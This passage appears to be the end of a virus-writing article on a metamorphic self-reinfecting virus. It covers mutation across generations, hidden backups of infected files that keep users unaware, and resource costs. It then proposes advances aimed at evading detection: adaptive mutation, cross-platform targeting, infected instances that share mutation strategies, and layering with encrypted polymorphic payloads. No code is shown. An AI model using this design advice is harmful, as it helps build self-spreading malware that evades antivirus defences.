as the vx reinfects, the code gets further away from the original. early generations are still recognizable if you know what to look for but give it enough cycles and you're looking at something structurally unrelated that still acts exactly the same. hidden backups help keep it quiet. original files still run like normal so users don't notice anything's been tampered with. this helps the vx stick around longer without drawing attention.

that said, there are tradeoffs. mutation and infection cost cpu and memory. on typical systems it's fine but lightweight or embedded targets might feel it. and yeah every infected file has a backup, so storage usage doubles. if you're hitting a lot of binaries in a small space that adds up fast.

— Possibilities —

to push this further you'd want a bigger pattern library more junk templates using different classes of instructions not just register swaps but arithmetic, logical ops, memory access anything that looks legit but does nothing.

a smarter engine could analyze itself at runtime, learn what code it can mutate safely, and build new transformation templates on the fly. that's adaptive mutation, not hardcoded tricks a real leap forward. if you abstract syscalls cleanly you can target other platforms too. same logic, different OS, just switch out syscall stubs. mix that with architecture awareness and you get cross-platform metamorphism.

take it one step further and have infected instances talk to each other. share mutation strategies, avoid known-bad patterns, evolve collectively. but real comes from deeper code analysis. actual disassembly, control/data flow mapping with that, you can mutate almost anything safely. no longer limited to self-recognized junk.

tie that with polymorphism encrypted payloads plus shape-shifting code structure and you get a layered system: randomized surface, hidden internals, same end result. nothing consistent to lock onto.

Metamorphic code proves that software can evolve its own implementation while preserving its purpose.

I’d recommend running the code inside a debugger rather than just firing it up blindly. Setting breakpoints lets you jump right into the assembly and really inspect what’s being generated step-by-step. That’s the way to catch any sneaky surprises. Alright, that’s it for now catch you next time!